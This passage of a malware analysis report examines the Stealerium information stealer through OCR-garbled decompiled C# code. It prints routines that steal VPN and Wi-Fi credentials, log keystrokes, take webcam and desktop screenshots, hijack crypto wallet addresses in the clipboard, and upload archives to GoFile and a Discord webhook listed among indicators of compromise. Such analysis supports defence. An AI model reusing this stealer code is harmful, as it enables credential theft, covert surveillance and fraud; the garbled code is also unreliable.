The OpenVPN configuration files will also be exfiltrated (figure 75).

pub	c static void Save(string sSavePath)	
۲	<pre>tring path = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "OpenVPN Connect\\profiles' f (IDirectory.Exists(path))</pre>	');
	<pre>ry Directory.CreateDirectory(sSavePath + "\\profiles"); foreach (string text in Directory.GetFiles(path))</pre>	
	<pre>if (Path.GetExtension(text).Contains("ovpn"))</pre>	
	<pre>Counter.Vpn++; File.Copy(text, Path.Combine(sSavePath, "profiles\\" + Path.GetFileName(text))); </pre>	
	ý [*] atch	
}		

Figure 75

The NordVPN username and password can be found in a file called "user.config". Those values are Base64-decoded and then decrypted via a function call to ProtectedData.Unprotect:

private static string Decode(string s)
t string result;
try
<pre>f result = Encoding.UTF8.GetString(ProtectedData.Unprotect(Convert.FromBase64String(s), null, DataProtectionScope.LocalMachine))</pre>
. · · · · · · · · · · · · · · · · · · ·
catch f
result = "";
} return result;
// Token: 0x06000028 RID: 40 RVA: 0x00003D88 File Offset: 0x00001F88
public static void Save(string sSavePath)
<pre>DirectoryInfo directoryInfo = new DirectoryInfo(Path.Combine(Paths.Lappdata, "NordVPN"));</pre>
if (!directoryInfo.Exists)
(return:
try C
Directory.CreateDirectory(sSavePath);
<pre>DirectoryInfo[] directories = directoryInfo.GetDirectories("NordVpn.exe*"); for (int i = 0; i < directories.Length; i++)</pre>
<pre>foreach (DirectoryInfo directoryInfo2 in directories[i].GetDirectories())</pre>
<pre>string text = Path.Combine(directoryInfo2.FullName, "user.config");</pre>
if (File.Exists(text))
<pre> Directory.CreateDirectory(sSavePath + "\\" + directoryInfo2.Name); </pre>
<pre>XmlDocument xmlDocument = new XmlDocument();</pre>
<pre>xmlDocument.Load(text); XmlNode xmlNode = xmlDocument.SelectSingleNode("//setting[@name='Username']/value");</pre>
<pre>string text2 = (xmlood != null) ? xmlood .InterText : null;</pre>
<pre>XmlNode xmlNode2 = xmlDocument.SelectSingleNode("//setting[@name='Password']/value");</pre>
<pre>string text3 = (xmlMode2 != null) ? xmlMode2.InnerText : null; if (nutl) = null ?? (xmlMode2 != null) ??</pre>
<pre>if (text2 != null && !string.IsMullOrEmpty(text2) && text3 != null && !string.IsMullOrEmpty(text3)) {</pre>
<pre>string text4 = NordVpn.Decode(text2);</pre>
<pre>string text5 = NordVpn.Decode(text3); Counter.Vpn++;</pre>
<pre>File.AppendAllText(sSavePath + "\\" + directoryInfo2.Name + "\\accounts.txt", string.Concat(new string[]</pre>
("Username: ",
Useriane., text4.
"\nPassword: ",
text5, "\n\n"
)));



Information Stealing – Host Information


The GetDrives method is utilized to retrieve the removable drives, and the stealer saves the


directory tree of them:

uh	plic static void SaveDirectories(string sSavePath)
	<pre>foreach (DriveInfo driveInfo in DriveInfo.GetDrives())</pre>
	<pre>if (driveInfo.DriveType == DriveType.Removable && driveInfo.IsReady)</pre>
	DirectoryTree.TargetDirs.Add(driveInfo.RootDirectory.FullName);
	foreach (string path in DirectoryTree.TargetDirs)
	< c
	try
	<pre>string directoryTree = DirectoryTree.GetDirectoryTree(path, "\t", -1, 0);</pre>
	<pre>string directoryName = DirectoryTree.GetDirectoryName(path);</pre>
	<pre>if (!directoryTree.Contains("Directory not exists"))</pre>
	<pre>File.WriteAllText(Path.Combine(sSavePath, directoryName + ".txt"), directoryTree)</pre>
	The write Affect (rath. combine (ssaverath, directorywame + .txt), directorymee)
	catch
	3



A list of running processes is saved in a file called "Process.txt", and another list that also contains the caption of the main window of the processes is saved in a file called "Windows.txt":





The stealer takes a screenshot of the Desktop using the CopyFromScreen method and a webcam screenshot via a call to capCreateCaptureWindowA:




Figure 80



public :	static bool Make(string sSavePath)
	(Config.WebcamScreenshot != "1")
	<pre>connectedCamerasCount = WebcamScreenshot.GetConnectedCamerasCount(); (connectedCamerasCount != 1)</pre>
} try	return Logging.Log(string.Format("WebcamScreenshot : Camera screenshot failed. (Count {0})", connectedCamerasCount), false);
	<pre>Clipboard.Clear(); WebcamScreenshothandle = WebcamScreenshot.capCreateCaptureWindowA("WebCap", 0, 0, 0, 320, 240, 0, 0); WebcamScreenshot.SendMessage(WebcamScreenshothandle, 1084U, 0, 0); Thread.Sleep(WebcamScreenshot.delay); WebcamScreenshot.SendMessage(WebcamScreenshothandle, 1084U, 0, 0); WebcamScreenshot.SendMessage(WebcamScreenshothandle, 1084U, 0, 0); WebcamScreenshot.SendMessage(WebcamScreenshothandle, 1095U, 0, 0); MebcamScreenshot.SendMessage(WebcamScreenshothandle, 1095U, 0, 0); MebcamScreenshot.SendMessage(WebcamScreenshothandle, 1095U, 0, 0); MebcamScreenshot.SendMessage(WebcamScreenshothandle, 1095U, 0, 0); IDataObject dataObject = Clipboard.GetDataObject(); Image image (Image)((dataObject != null) ? dataObject.GetData(DataFormats.Bitmap) : null); Clipboard.Clear(); if (Image != null) { image.Save(SSavePath + "\\Webcam.jpg", ImageFormat.Jpeg); image.Dispose(); Counter.WebcamScreenshot = true;</pre>
	ch (Exception ex)
	<pre>string str = "WebcamScreenshot : Camera screenshot failed.\n"; Exception ex2 = ex; return Logging.Log(str + ((ex2 != null) ? ex2.ToString() : null), false);</pre>
reti	

The process extracts the Wi-Fi profiles and passwords and saves them in a file called "SavedNetworks.txt". A file called "ScanningNetworks.txt" is populated with nearby Wi-Fi networks:

private static string[] GetProfiles()
<pre>string[] array = CommandHelper.Run("/C chcp 65001 && netsh wlan show profile findstr All", true).Split(new char[]</pre>
'\n' }, StringSplitOptions.RemoveEmptyEntries);
<pre>j, strangpitoptums.nemvecmpychtrics; for (int i = 0; i < array.length; i++)</pre>
<pre>{ array[i] = array[i].Substring(array[i].LastIndexOf(':') + 1).Trim(); }</pre>
return array;)
// Token: 0x06000059 RID: 89 RVA: 0x0000520E File Offset: 0x0000340E
private static string GetPassword(string profile) (
return CommandHelper.Run("/C chcp 65001 && netsh wlan show profile name=\"" + profile + "\" key=clear findstr Key", true).Split(new char[(
<pre>}).Last<string>().Trim(); }</string></pre>
// Token: 0x0600005A RID: 90 RVA: 0x00005240 File Offset: 0x00003440
public static void ScanningNetworks(string sSavePath)
<pre>string text = CommandHelper.Run("/C chcp 65001 && netsh wlan show networks mode=bssid", true);</pre>
<pre>if (!text.Contains("is not running")) { </pre>
<pre>File.AppendAllText(sSavePath + "\\ScanningNetworks.txt", text); }</pre>
۰ ^۲
// Token: 0x06000058 RID: 91 RVA: 0x00005278 File Offset: 0x00003478
public static void SavedNetworks(string sSavePath)
<pre>foreach (string text in Wifi.GetProfiles())</pre>
if (!text.Equals("65001"))
Counter.SavedNifiNetworks++:
<pre>string password = Wifi.GetPassword(text);</pre>
<pre>string.contents = string.Concat(new string[] {</pre>
"PROFILE: ",
text, "\nPASSNORD: ",
password,
"\/n\"));
<pre>File.AppendAllText(sSavePath + "\\SavedNetworks.txt", contents); }</pre>
· · · · · · · · · · · · · · · · · · ·

Figure 82

The Windows product key is extracted from "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\DigitalProductId" registry value and decoded by a custom algorithm:

private static string GetWindowsProductKeyFromDigitalProductId(byte[] digitalProductId, ProductKey.DigitalProductIdVersion digitalProductIdVersion)
(
 if (digitalProductIdVersion != ProductKey.DigitalProductId);
 return ProductKey.DecodeProductKey(digitalProductId);
 return ProductKey.DecodeProductKey(digitalProductId);
 // Token: 0x000004508 RID: 80 RVA: 0x00004524 File Offset: 0x00003124
 public static string GetWindowsProductKey.OpenBaseKey(RegistryHive.LocalMachine, Environment.Is64BitOperatingSystem ? RegistryKey RegistryKey = RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, Environment.Is64BitOperatingSystem ? RegistryKey.RegistryG4 : RegistryView.Registry32);
 RegistryKey registryKey2 = registryKey.OpenBaseKey(RegistryHive.LocalMachine, Environment.Is64BitOperatingSystem ? RegistryView.RegistryG4 : RegistryView.Registry32);
 RegistryKey registryKey2 = registryKey.OpenBaseKey(RegistryHive.LocalMachine, Environment.Is64BitOperatingSystem ? RegistryView.RegistryG4 : RegistryView.Registry32);
 RegistryKey registryKey2 = registryKey.OpenBaseKey(RegistryHive.LocalMachine, Environment.Is64BitOperatingSystem ? RegistryView.RegistryG4 : RegistryView.Registry32);
 RegistryKey registryKey2 = registryKey.OpenBaseKey(RegistryHive.LocalMachine, Environment.Is64BitOperatingSystem ? RegistryView.RegistryG4 : RegistryView.Registry32);
 RegistryKey registryKey2 = registryKey.OpenBaseKey(RegistryHive.LocalMachine, Environment.Is64BitOperatingSystem ? RegistryView.RegistryG4 : RegistryUiew.Registry32);
 RegistryKey registryKey2 = registryKey2.GetValue("DigitalProductId") : null;
 if (obj == null) ? registryKey2.GetValue("DigitalProductId") : null;
 if (obj == null) ? registryKey.Close();
 bool flag = (Environment.OSVersion.Version.Major >= 6 && Environment.OSVersion.Version.Version.Version.Version.Major > 6;
 Counter.ProductKey.EdtWindowsProductKeyFromDigitalProductId(digitalProductId, flag ? ProductKey.DigitalProductIdVersion.UpToWindows7)
 return Produ

Figure 83





If the Config.DebugMode value is 1 then the log file called "Stealerium-Latest.log" is copied from the temporary folder to a file called "Debug.txt":

<pre>public static bool Log(string text, bool ret = true) {</pre>
<pre>string text2 = "\n";</pre>
<pre>if (text.Length > 40 && text.Contains("\n"))</pre>
text2 += "\n\n";
Console.Write(text + text2);
if (Config.DebugMode == "1")
<pre>File.AppendAllText(Logging.Logfile, text + text2);</pre>
return ret;
<pre>public static void Save(string sSavePath) { if (Config.DebugMode != "1" !File.Exists(Logging.Logfile))</pre>
try
File.Copy(Logging.Logfile, sSavePath);
// Token: 0x040000D5 RID: 213
private static readonly string Logfile = Path.Combine(Path.GetTempPath(), "Stealerium-Latest.log'

Figure 85

The malware concatenates data such as the public IP (obtained from icanhazip[.]com), private IP, default gateway, and so on (see figure 86).



Figure 86



The local IP address is obtained by calling the GetHostEntry function:

pub {	lic static string GetLocalIp()
	try {
	<pre>foreach (IPAddress ipaddress in Dns.GetHostEntry(Dns.GetHostName()).AddressList {</pre>
	<pre>if (ipaddress.AddressFamily == AddressFamily.InterNetwork) {</pre>
	<pre>return ipaddress.ToString(); }</pre>
) catch
}	return "No network adapters with an IPv4 address in the system!";

Figure 87

GetAllNetworkInterfaces is utilized to obtain the network interfaces on the local machine. The gateway addresses are extracted using the GetIPProperties method:

try {	
	<pre>PAddress ipaddress = (from a in (from n in NetworkInterface.GetAllNetworkInterfaces() where n.OperationalStatus == OperationalStatus.Up</pre>
	<pre>where n.NetworkInterfaceType != NetworkInterfaceType.Loopback where n.NetworkInterfaceType != NetworkInterfaceType.Loopback</pre>
	elect n). <i>SelectMany</i> (delegate(NetworkInterface n)
	<pre>IPInterfaceProperties ipproperties = n.GetIPProperties();</pre>
	<pre>if (ipproperties == null) {</pre>
	return null;
	return ipproperties.GatewayAddresses;
).Select(delegate(GatewayIPAddressInformation g)
	if (g == null)
	return null:
	}
	return g.Address;
. v	where a != null
5	<pre>select a).FirstOrDefault<ipaddress>();</ipaddress></pre>
1	<pre>return (ipaddress != null) ? ipaddress.ToString() : null;</pre>
}	
catch	
< (
}	n "Unknown";
3	n onknown ,

Figure 88

The CPU name, GPU name, and RAM amount are extracted using WMI queries (figure 89).

<pre>public static string GetCpulsme() { try uning (ManagementObjectCollection.HanagementObjectEnumerator = new ManagementObjectSearcher("root\\CIMV2", "SELECT * FROM Win32_Processor").Get().GetEnumerator())</pre>
// Token: 0x0600006E RID: 110 RVA: 0x00005CEC File Offset: 0x00003EEC public static string GetSpulane()
<pre>try try using (ManagementObjectCollection.ManagementObjectEnumerator = new ManagementObjectSearcher("root\\CIMV2", "SELECT * FROM Win32_VideoController").Get().GetEnumerat if (enumerator.HoveHest())</pre>
<pre>// Token: 0x06000006f RID: 111 RVA: 0x060005070 File Offset: 0x00003F70 public static string GetRashmount() { try int num = 0; using (NanagementObjectSearcher = new ManagementObjectSearcher("Select * From Min32_ComputerSystem"))</pre>

The malicious binary retrieves the size of the screen and battery information:




Figure 90

The Clipboard.GetText function is used to save the text data from the Clipboard to a file called "Clipboard.txt":





A list of applications is saved in a file called "Apps.txt" (see figure 92).






The directory containing the files that will be exfiltrated is compressed to a zip archive. The zip archive comment contains a lot of information about the local machine, and the zip password is set to the number of ticks that represent the current date and time:





The stealer uses the GoFile API to upload the archive to GoFile.io. The UploadFile function returns an URL that will be uploaded on Discord:









The directory called "logs" is also archived to a zip file called "<Current date and time>.zip", which is uploaded to GoFile:




Figure 96

The stealer report that is uploaded to Discord via Webhooks is shown below:



Figure 97



The implementation of the functions used to upload the report is presented in the figure below.




Figure 99

The malware establishes persistence by adding an entry to the Run registry key. It also modifies

the timestamps of the executable file (timestomping):




Figure 100




Figure 101

The malicious process creates a new keylogger thread and installs a hook procedure by calling the SetWindowsHookEx API (13 = **WH_KEYBOARD_LL**):







GetKeyState is utilized to obtain the status of a specific virtual key (see figure 104).



Figure 104

A virtual-key code is translated into a character value using MapVirtualKey. The binary obtains



the active input locale identified via a function call to GetKeyboardLayout. The keys that were pressed are saved in a variable called "KeyLogs":

1. TA	static string keyboardtayout(uint vkcode)
	<pre>StringBuilder stringBuilder = new StringBuilder(); byte[] lpKeyState = new byte[256]; if (Ikeylogger.GetKeyboardState(lpKeyState)) { return ""; }</pre>
	uint wScanCode = Keylogger.MapVirtualKey(vkCode, 0U);
	uint num;
	<pre>IntPtr keyboardLayout = Keylogger.GetKeyboardLayout(Keylogger.GetWindowThreadProcessId(WindowManager.GetForegroundWindow(), out num)); Keylogger.ToUnicodeEx(vkCode, wScanCode, lpKeyState, stringBuilder, 5, 0U, keyboardLayout); return stringBuilder.ToString();</pre>
	: keys = (Keys)vkCode;
	rn keys.ToString();

Figure 105

The stealer verifies if the active window title contains strings such as "facebook", "chat", "password", "sell", and others (figure 106). For each of these windows, it takes a screenshot and records the keys pressed, as shown below:



Figure 106



public static void Action()
if (EventHanager.Detect())
<pre>if (!string.IsNullOrWhiteSpace(KeyLogg)) {</pre>
Keylogger.Keylogs += "\n\n";
} Keylagger.KeyLags = string.Concat(new string[]
t Keylogger-Keylogs,
WindowManager.ActiveWindow,
<pre>- see (-, DateTime.Now.ToString("yyy+H+dd himmiss tt"),</pre>
")\n" });
DesktopScreenshot.Hake(EventManager.KeyloggerDirectory);
Keylogger.KeyloggerEnabled = true; return;
) EventHanager.SendKeyLogs();
Keylogger.KeyloggerEnabled = false; }
// Token: 0x0600013A RID: 314 RVA: 0x000004929 File Offset: 0x000008829
private static bool Detect()
<pre>return Config.KeyloggerServices.Ary((string text) => WindowManager.ActiveWindow.TaLower().Contains(text)); }</pre>
// Token: 0x06000138 RID: 315 RVA: 0x000004954 File Offset: 0x000008854
private static void SendKeyLogs()
if (Keylogger.Keylogs.Length < 45 string.IsNullOrMhiteSpace(Keylogger.Keylogs))
return;
<pre>string path = EventManager.KeyloggerDirectory + "\\" + DateTime.Now.ToString("hh.mm.ss") + ".txt";</pre>
<pre>if (lDirectory.Exists(EventHanager.KeyloggerDirectory)) (</pre>
Directory.CreateDirectory(EventManager.KeyloggerDirectory); }
<pre>File.WriteAllText(path, Keylogger.KeyLogs); Keylogger.KeyLogs = "";</pre>
) / 00 / 0 /
<pre>// Token: 0x04000086 RID: 134 private static readonly string KeyloggerDirectory = Path.Combine(Paths.InitWorkDir(), "logs\\keylogger\\" + DateTime.Now.ToString("yyyy-NM-dd"));</pre>
by trace starter enough strate wheele stretces) - transformation wat (). The track affect () - and the track affect in the tra

Another functionality is checking if the active window contains adult content. For each of these windows, the process takes screenshots of the window and the webcam:

public static void Action()	
<pre>(if (PornDetection.Detect())</pre>	
PornDetection.SavePhotos();	
> '	
// Token: 0x06000155 RID: 341 RVA: 0x0000AEF4 File Offset: 0x000000F4 private static bool Detect()	
<pre>{ return Config.PornServices.Any((string text) => WindowHanager.ActiveWindow.ToLower().Contains(text)); }</pre>	
// Token: 0x06000156 RID: 342 RVA: 0x0000AF20 File Offset: 0x00000120	
private static void SavePhotos()	
<pre>string text = PornDetection.logDirectory + "\\" + DateTime.Now.ToString("hh.mm.ss"); // // // porters Context functional and the context function of the context function</pre>	
if (!Directory.Exists(text))	
Directory.CreateDirectory(text);	
· · ·	
Thread.Sleep(3000);	
DesktopScreenshot.Nake(text); Thread.Sleep(12000);	
inread.steep(12000); if (PornDetection.Detect())	
WebcamScreenshot.Make(text);	
// Token: 0x04000091 RID: 145	
<pre>private static readonly string LogDirectory = Path.Combine(Paths.InitWorkDir(), "logs\\nsfw\\" + DateTime.Now.ToString("yyyy-WH-dd"));</pre>	

Figure 108

Finally, the malware verifies if the active window name contains strings referring to cryptocurrencies:












Figure 111

The executable retrieves text data from the Clipboard and verifies if it contains any wallet addresses, which will be replaced by the threat actor's wallet addresses:

public static	void Replace()
	<pre>pboardText = ClipboardManager.ClipboardText; .IsNullOrEmpty(clipboardText)) ;</pre>
} foreach (K	eyValuePair <string, regex=""> keyValuePair in RegexPatterns.PatternsList)</string,>
if (ke { st	<pre>g key = keyValuePair.Key; gyValuePair.Value.Match(clipboardText).Success) gring text = Config.ClipperAddresses[key]; f (!string.IsNullOrEmpty(text) && !text.Contains("") && !clipboardText.Equals(text))</pre>
}	Clipboard.SetText(text); Logging.Log("Clipper replaced to " + text, true); break;

Figure 112



Indicators of Compromise

SHA256

7B19B3064720EFA6A65F69C6187ABBD0B812BF9F91DDE70088AFBB693814C930

Files created

%LocalAppData%\<MD5 hash>*

Mutex

B0P2018UODTBXZ90M2YK

Registry key

HKCU\Software\Microsoft\Windows\CurrentVersion\Run\<Executable name>

URLs

http[:]//icanhazip[.]com

http[:]//ip-api[.]com/line/?fields=hosting

https[:]//discord[.]com/api/webhooks/1060907354985615390/WCikcIDbosEe1Sq4SgGzLPOZKwdw aOgOav5Tr-U4jr2MRIIuPAo8Tm1-B748x10ok4W1

https[:]//api.mylnikov[.]org/geolocation/wifi?v=1.1&bssid=

